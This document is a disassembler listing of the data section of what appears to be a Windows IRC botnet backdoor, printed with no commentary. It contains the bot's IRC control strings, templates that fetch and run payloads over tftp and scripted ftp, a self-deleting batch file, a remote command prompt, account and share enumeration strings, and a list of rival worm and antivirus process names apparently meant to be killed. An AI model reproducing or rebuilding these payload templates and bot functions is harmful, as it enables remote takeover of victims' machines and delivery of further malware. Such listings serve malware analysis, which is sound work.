aQ8A		db '|q8|a',0            ; DATA XREF: .nsp0:0044EB30o
		align 4
aB_0:					; DATA XREF: .nsp0:0044EB34o
		unicode	0, <b>,0
aC_1:					; DATA XREF: .nsp0:0044EB38o
		unicode	0, <c>,0
aD_3:					; DATA XREF: .nsp0:0044EB3Co
		unicode	0, <d>,0
aE_1:					; DATA XREF: .nsp0:0044EB40o
		unicode	0, <e>,0
aF_0:					; DATA XREF: .nsp0:0044EB44o
		unicode	0, <f>,0
aG_0:					; DATA XREF: .nsp0:0044EB48o
		unicode	0, <g>,0
asc_44F2FC:				; DATA XREF: .nsp0:0044EB4Co
		unicode	0, <h>,0
aI_2:					; DATA XREF: .nsp0:0044EB50o
		unicode	0, <i>,0
a__10:					; DATA XREF: .nsp0:0044EB54o
		unicode	0, <_>,0
aJ_2:					; DATA XREF: .nsp0:0044EB58o
		unicode	0, <j>,0
aK_1:					; DATA XREF: .nsp0:0044EB5Co
		unicode	0, <k>,0
asc_44F310:				; DATA XREF: .nsp0:0044EB60o
		unicode	0, <l>,0
aM_4:					; DATA XREF: .nsp0:0044EB64o
		unicode	0, <m>,0
aN_1:					; DATA XREF: .nsp0:0044EB68o
		unicode	0, <n>,0
aO_1:					; DATA XREF: .nsp0:0044EB6Co
		unicode	0, <o>,0
aP_1:					; DATA XREF: .nsp0:0044EB70o
		unicode	0, <p>,0
aQ_1:					; DATA XREF: .nsp0:0044EB74o
		unicode	0, <q>,0
aRs		db 'rs',0               ; DATA XREF: .nsp0:0044EB78o
		align 4
aT_1:					; DATA XREF: .nsp0:0044EB7Co
		unicode	0, <t>,0
aU_1:					; DATA XREF: .nsp0:0044EB80o
		unicode	0, <u>,0
aV_0:					; DATA XREF: .nsp0:0044EB84o
		unicode	0, <v>,0
aW_0:					; DATA XREF: .nsp0:0044EB88o
		unicode	0, <w>,0
asc_44F33C:				; DATA XREF: .nsp0:0044EB8Co
		unicode	0, <x>,0
aY_0:					; DATA XREF: .nsp0:0044EB90o
		unicode	0, <y>,0
aZ_1:					; DATA XREF: .nsp0:0044EB94o
		unicode	0, <z>,0
aHappy		db 'happy',0            ; DATA XREF: .nsp0:0044EB98o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .nsp0:0044EB9Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .nsp0:0044EBA0o
		align 4
aGf		db 'gf',0               ; DATA XREF: .nsp0:0044EBA4o
		align 4
aRt		db 'rt',0               ; DATA XREF: .nsp0:0044EBA8o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: .nsp0:0044EBACo
aUi		db 'ui',0               ; DATA XREF: .nsp0:0044EBB0o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .nsp0:0044EBB4o
		align 10h
aTrimy		db 'trimy',0            ; DATA XREF: .nsp0:0044EBB8o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .nsp0:0044EBBCo
		align 10h
aMuckc		db 'muckc',0            ; DATA XREF: .nsp0:0044EBC0o
		align 4
aZ_2:					; DATA XREF: .nsp0:0044EBC4o
		unicode	0, <z>,0
aG_1:					; DATA XREF: .nsp0:0044EBC8o
		unicode	0, <g>,0
aS_34:					; DATA XREF: .nsp0:0044EBCCo
		unicode	0, <s>,0
aQ_2:					; DATA XREF: .nsp0:0044EBD0o
		unicode	0, <q>,0
off_44F398	dd offset loc_425241+1	; DATA XREF: .nsp0:0044EBD4o
dword_44F39C	dd 6C62627Ch, 0		; DATA XREF: .nsp0:0044EBD8o
dword_44F3A4	dd 5F7C5Fh		; DATA XREF: .nsp0:0044EBE4o
dword_44F3A8	dd 46h			; DATA XREF: .nsp0:0044EBF8o
dword_44F3AC	dd 4Dh			; DATA XREF: .nsp0:0044EBFCo
aLuvu		db 'LUVU',0             ; DATA XREF: .nsp0:0044EC00o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .nsp0:0044EC04o
aF_1		db '^^^f^',0            ; DATA XREF: .nsp0:0044EC08o
		align 4
aB_1:					; DATA XREF: .nsp0:0044EC0Co
		unicode	0, <b>,0
aSleeping	db 'Sleeping',0         ; DATA XREF: .nsp0:0044EC14o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .nsp0:0044EC20o
		align 4
aFree_1		db 'Free',0             ; DATA XREF: .nsp0:0044EC24o
		align 4
asc_44F3E4:				; DATA XREF: .nsp0:0044EC30o
		unicode	0, <X>,0
aBoy		db 'BOY',0              ; DATA XREF: .nsp0:0044EC38o
aGirl_1		db 'GIRL',0             ; DATA XREF: .nsp0:0044EC3Co
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .nsp0:0044EC40o
		align 4
aShit_0		db 'shit',0             ; DATA XREF: .nsp0:0044EC44o
		align 4
aAha		db 'aha',0              ; DATA XREF: .nsp0:0044EC48o
aYeah		db 'yeah',0             ; DATA XREF: .nsp0:0044EC4Co
		align 10h
aMuha		db 'muha',0             ; DATA XREF: .nsp0:0044EC50o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .nsp0:0044EC54o
		align 10h
aMofo		db 'mofo',0             ; DATA XREF: .nsp0:0044EC58o
		align 4
aTot_0		db 'tot',0              ; DATA XREF: .nsp0:0044EC5Co
aLol_0		db 'lol',0              ; DATA XREF: .nsp0:0044EC60o
aLoloA		db 'lolo|a|',0          ; DATA XREF: .nsp0:0044EC64o
aSex4free	db '|sex4free|',0       ; DATA XREF: .nsp0:0044EC68o
		align 4
a4us		db '|4us|',0            ; DATA XREF: .nsp0:0044EC6Co
		align 4
a4you		db '{4you}',0           ; DATA XREF: .nsp0:0044EC70o
		align 4
a4u		db '|4u|',0             ; DATA XREF: .nsp0:0044EC74o
		align 4
a5u		db '5u',0               ; DATA XREF: .nsp0:0044EC78o
		align 10h
a6u		db '6u',0               ; DATA XREF: .nsp0:0044EC7Co
		align 4
asc_44F464:				; DATA XREF: sub_415357+6o
		dw 0Ah
		unicode	0, <>,0
asc_44F468:				; DATA XREF: sub_41539E+Co
		unicode	0, < >,0
asc_44F46C:				; DATA XREF: sub_41539E:loc_4153C4o
		unicode	0, < >,0
aPing_1		db 'PING',0             ; DATA XREF: sub_41539E+52o
		align 4
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_41539E+69o
		align 4
a433		db '433',0              ; DATA XREF: sub_41539E:loc_415417o
a432		db '432',0              ; DATA XREF: sub_41539E+8Ao
aNickS_8	db 'NICK %s',0Ah,0      ; DATA XREF: sub_41539E+C5o
		align 4
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_415497+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__2		db '-|`_\{[]}',0        ; DATA XREF: sub_4156B7+BCo
					; sub_4156B7+175r ...
		align 4
dword_44F4D4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: .nsp0:00415BA4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44F520	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	.nsp0:00415BE3o
; ---------------------------------------------------------------------------


loc_44F53C:				; DATA XREF: .nsp0:00415C18o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_44F550	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: .nsp0:00415C3Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_415ECC+72o
		align 4
aMirc_2		db 'mIRC',0             ; DATA XREF: sub_415F91+5o
		align 10h
aMirc_3		db 'mIRC',0             ; DATA XREF: sub_415F91+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_416016+1Co
		align 4
aSS_5		db '%s %s',0            ; DATA XREF: .nsp0:004160FCo
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_416138+2o
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41615A+48o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41615A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41615A+140o
		align 4
dword_44F61C	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4162E2+5Co
		dd 65726165h, 64h
unk_44F638	db  2Dh	; -		; DATA XREF: sub_4162E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 10h
unk_44F660	db  2Dh	; -		; DATA XREF: sub_4162E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 10h
aTftpISGetSS	db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: .nsp0:00416442o
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: .nsp0:0041646Bo
		db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0	db 'netapi32.dll',0     ; DATA XREF: sub_4164D5+58o
		align 4
aNetmessagebu_0	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4164D5+65o
		align 10h
off_44F730	dd offset dword_44F784	; DATA XREF: sub_4165F2+6Dr
					; sub_4169D6+50r ...
off_44F734	dd offset aAdded	; DATA XREF: sub_4165F2+2Dr
					; sub_4169D6+82r ...
					; "Added"
dword_44F738	dd 0			; DATA XREF: sub_4165F2+18r
		dd offset aDelete_1	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_1	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 44F7D0h, 44F7D8h,	2, 44F7E0h, 44F7ECh, 3
dword_44F784	dd 646441h		; DATA XREF: .nsp0:off_44F730o
aAdded		db 'Added',0            ; DATA XREF: .nsp0:off_44F734o
		align 10h
aDelete_1	db 'Delete',0           ; DATA XREF: .nsp0:0044F73Co
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .nsp0:0044F740o
aList_1		db 'List',0             ; DATA XREF: .nsp0:0044F748o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .nsp0:0044F74Co
		align 10h
aStart_1	db 'Start',0            ; DATA XREF: .nsp0:0044F754o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .nsp0:0044F758o
aStop_0		db 'Stop',0             ; DATA XREF: .nsp0:0044F760o
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .nsp0:0044F764o
aPause_0	db 'Pause',0
		align 4
aPaused		db 'Paused',0
		align 10h
aContinue_1	db 'Continue',0
		align 4
aContinued	db 'Continued',0
		align 4
unk_44F7F8	db  2Dh	; -		; DATA XREF: sub_4165F2+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
unk_44F814	db  2Dh	; -		; DATA XREF: sub_4165F2+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_44F840	db  2Dh	; -		; DATA XREF: sub_4165F2+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_41671B:loc_4167F4o
		align 4
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_41671B:loc_416775o
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_41671B+3Co
		align 4
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_41671B:loc_41676Bo
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_41671B:loc_41677Fo
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_41671B:loc_4167C9o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_41671B+8Fo
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_41671B:loc_4167FBo
		db 'marked for deletion.',0
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_41671B:loc_416802o
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_41671B:loc_416809o
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_41671B:loc_416810o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_41671B:loc_416817o
		db ' correct access rights.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_41671B:loc_41681Eo
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_41671B:loc_4167B4o
		align 10h
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_41671B:loc_4167BBo
		db 'tServiceCtrlDispatcher.',0
		align 4
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_41671B:loc_416789o
		db 'dependent on it.',0
		align 10h
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_41671B:loc_416761o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_41671B:loc_4167C2o
		db ' the service.',0
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_41671B:loc_416825o
		db 'the state of the service.',0
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_41671B:loc_41682Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_41671B:loc_416833o
		align 4
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_41671B+12Co
		align 10h
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_416899+25o
		align 10h
aStopped	db '    Stopped',0      ; DATA XREF: sub_416899:loc_416965o
aStarting	db '   Starting',0      ; DATA XREF: sub_416899:loc_41695Eo
aStoping	db '    Stoping',0      ; DATA XREF: sub_416899:loc_416957o
aRunning_0	db '    Running',0      ; DATA XREF: sub_416899:loc_416950o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_416899:loc_416949o
aPausing	db '    Pausing',0      ; DATA XREF: sub_416899:loc_416942o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_416899:loc_41693Bo
aUnknown_2	db '    Unknown',0      ; DATA XREF: sub_416899+9Bo
aSSS_1		db '%s: %s (%s)',0      ; DATA XREF: sub_416899+EBo
dword_44FD9C	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_4169D6+89o
		dd 73252720h, 27h
unk_44FDB8	db  2Dh	; -		; DATA XREF: sub_4169D6+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
unk_44FDE4	db  2Dh	; -		; DATA XREF: sub_4169D6+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_416BCB+26o
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_416BCB+B5o
aNo		db 'No',0               ; DATA XREF: sub_416BCB+BCo
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_416BCB+D0o
		align 10h
unk_44FE60	db  2Dh	; -		; DATA XREF: sub_416BCB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
unk_44FE88	db  2Dh	; -		; DATA XREF: sub_416CEC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_44FEA8	db  2Dh	; -		; DATA XREF: sub_416CEC+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_44FED8	db  2Dh	; -		; DATA XREF: sub_416CEC+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_416E32+50o
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_416E32+81o
		align 4
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_416E32+ACo
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_416E32+D4o
aGuest		db 'Guest',0            ; DATA XREF: sub_416E32:loc_416F4Bo
		align 4
aUser_2		db 'User',0             ; DATA XREF: sub_416E32:loc_416F44o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_416E32:loc_416F3Do
		align 4
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_416E32+104o
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_416E32+125o
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_416E32+14Do
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_416E32+178o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_416E32+1A0o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_416E32+1CBo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_416E32+1F3o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_416E32+21Eo
		align 10h
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_416E32+246o
		align 10h
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_416E32+271o
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_416E32+299o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_416E32+2C4o
		align 4
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_416E32+2ECo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_416E32+317o
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_416E32+33Fo
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_416E32+36Ao
		align 4
unk_450088	db  2Dh	; -		; DATA XREF: sub_416E32+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_417200+29o
unk_4500D0	db  2Dh	; -		; DATA XREF: sub_417200+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_35		db '  %S',0             ; DATA XREF: sub_417200+BEo
		align 4
unk_450104	db  2Dh	; -		; DATA XREF: sub_417200+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_417200+14Fo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_417380:loc_4173E3o
		align 10h
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_417380:loc_417424o
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_417380:loc_4173EDo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_417380+3Bo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_417380:loc_4173D9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_417380:loc_4173CFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_417380:loc_4173C5o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_417380:loc_41748Fo
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_417380+89o
		align 4
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_417380:loc_417413o
		align 4
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_417380:loc_41741Do
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_417380:loc_417488o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_417380+CFo
		db ' the domain.',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_417380:loc_41745Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_417380:loc_417456o
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_417380:loc_417464o
		db 'ord policy requirement.)',0
		align 4
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_417380:loc_41749Do
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_417380:loc_41742Bo
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_417380:loc_417496o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_417380:loc_417481o
		align 10h
unk_450400	db  2Dh	; -		; DATA XREF: sub_4174B4+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_450428	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_4174B4+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
dword_450454	dd 7530h		; DATA XREF: sub_417935+12r
off_450458	dd offset dword_4504B8	; DATA XREF: sub_4175DD+CBo
		dd offset dword_4504C4
		dd offset dword_4504D4
		dd offset dword_4504E0
		dd offset dword_4504EC
		dd offset dword_4504F8
		dd offset dword_450504
		dd offset dword_450514
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe	; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
dword_4504B8	dd 65676572h, 2E746964h, 657865h ; DATA	XREF: sub_4175DD+ECo
					; .nsp0:off_450458o
dword_4504C4	dd 6F63736Dh, 6769666Eh, 6578652Eh, 0 ;	DATA XREF: .nsp0:0045045Co
dword_4504D4	dd 7374656Eh, 2E746174h, 657865h ; DATA	XREF: .nsp0:00450460o
dword_4504E0	dd 6C62736Dh, 2E747361h, 657865h ; DATA	XREF: .nsp0:00450464o
dword_4504EC	dd 7270617Ah, 78652E6Fh, 65h ; DATA XREF: .nsp0:00450468o
dword_4504F8	dd 7776616Eh, 652E3233h, 6578h ; DATA XREF: .nsp0:0045046Co
dword_450504	dd 6176616Eh, 32337770h, 6578652Eh, 0 ;	DATA XREF: .nsp0:00450470o
dword_450514	dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h	; DATA XREF: .nsp0:00450474o
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .nsp0:00450478o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .nsp0:0045047Co
		align 10h
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .nsp0:00450480o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .nsp0:00450484o
aMsblast_exe	db 'MSBLAST.exe',0      ; DATA XREF: .nsp0:00450488o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .nsp0:0045048Co
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .nsp0:00450490o
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .nsp0:00450494o
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .nsp0:00450498o
		align 4
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .nsp0:0045049Co
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .nsp0:004504A0o
		align 10h
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .nsp0:004504A4o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .nsp0:004504A8o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .nsp0:004504ACo
		align 4
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .nsp0:004504B0o
		align 4
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: .nsp0:004504B4o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+5Ao
		align 4
aSD		db ' %s (%d)',0         ; DATA XREF: sub_4175DD+17Do
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4175DD+18Bo
		align 10h
aSD_1		db ' %s (%d)',0         ; DATA XREF: sub_4175DD+19Fo
		align 4
aSedebugprivi_0	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4175DD+207o
		align 10h
unk_450650	db  2Dh	; -		; DATA XREF: sub_417820+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
unk_450670	db  2Dh	; -		; DATA XREF: sub_417820+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_450694	db  2Dh	; -		; DATA XREF: sub_417820:loc_4178A7o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
aPrivmsgSS_2	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_4179BD+33o
aS_24		db '%s',0               ; DATA XREF: sub_4179BD+4Co
		align 4
unk_4506CC	db  2Dh	; -		; DATA XREF: sub_417A44:loc_417B2Ao
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_4506FC	db  2Dh	; -		; DATA XREF: sub_417A44+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_450724	db  2Dh	; -		; DATA XREF: sub_417A44:loc_417B76o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0	db 'cmd.exe',0          ; DATA XREF: sub_417B99+20o
unk_45075C	db  2Dh	; -		; DATA XREF: sub_417B99+150o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
unk_450780	db  2Dh	; -		; DATA XREF: sub_417B99+198o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 8
off_4507B8	dd offset dword_4507D8	; DATA XREF: sub_417DB1+1B3o
					; sub_4180D5+179o
		align 10h
		dd offset dword_4507E0
		align 8
off_4507C8	dd offset dword_4507E8	; DATA XREF: sub_4180D5+1E1o
		dd offset dword_4507EC
		dd offset dword_4507F0
		dd offset dword_4507F4
dword_4507D8	dd 24435049h, 0		; DATA XREF: sub_417DB1+217o
					; .nsp0:off_4507B8o
dword_4507E0	dd 494D4441h, 244Eh	; DATA XREF: .nsp0:004507C0o
dword_4507E8	dd 2443h		; DATA XREF: .nsp0:off_4507C8o
dword_4507EC	dd 5C3A43h		; DATA XREF: .nsp0:004507CCo
dword_4507F0	dd 2444h		; DATA XREF: .nsp0:004507D0o
dword_4507F4	dd 5C3A44h		; DATA XREF: .nsp0:004507D4o
word_4507F8	dw 4Eh			; DATA XREF: sub_417DB1+38r
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_417DB1+54o
		align 4
